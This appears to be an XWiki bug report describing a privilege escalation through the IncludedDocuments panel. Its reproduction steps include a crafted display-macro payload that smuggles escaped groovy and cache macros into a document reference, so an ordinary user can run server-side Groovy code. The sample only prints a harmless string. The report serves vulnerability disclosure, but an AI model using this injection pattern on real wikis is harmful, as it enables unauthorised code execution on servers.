Privilege escalation (PR) from account through IncludedDocuments panel

Steps to reproduce:

1. As an admin, add the Panels.IncludedDocuments panel on one column
2. As a user without script or programming right open your user account (or any other document you can edit with the wiki editor.
3. Set the content to

   {{display reference="{{cache~}~}{{groovy~}~}println(~"Hello from Groovy~" + ~" in included document!~"){{/groovy~}~}{{/cache~}~}"/}}

   .

1. Click "Save and continue"

Expected result:

The panel displays

One included page: 
{{cache}}{{groovy}}println("Hello from Groovy" + " in included document!"){{/groovy}}{{/cache}}

.

Actual result:

The panel displays the text

One included page:
    XWiki.Hello from Groovy in included document!

This demonstrates a privilege escalation from simple user account to programming rights.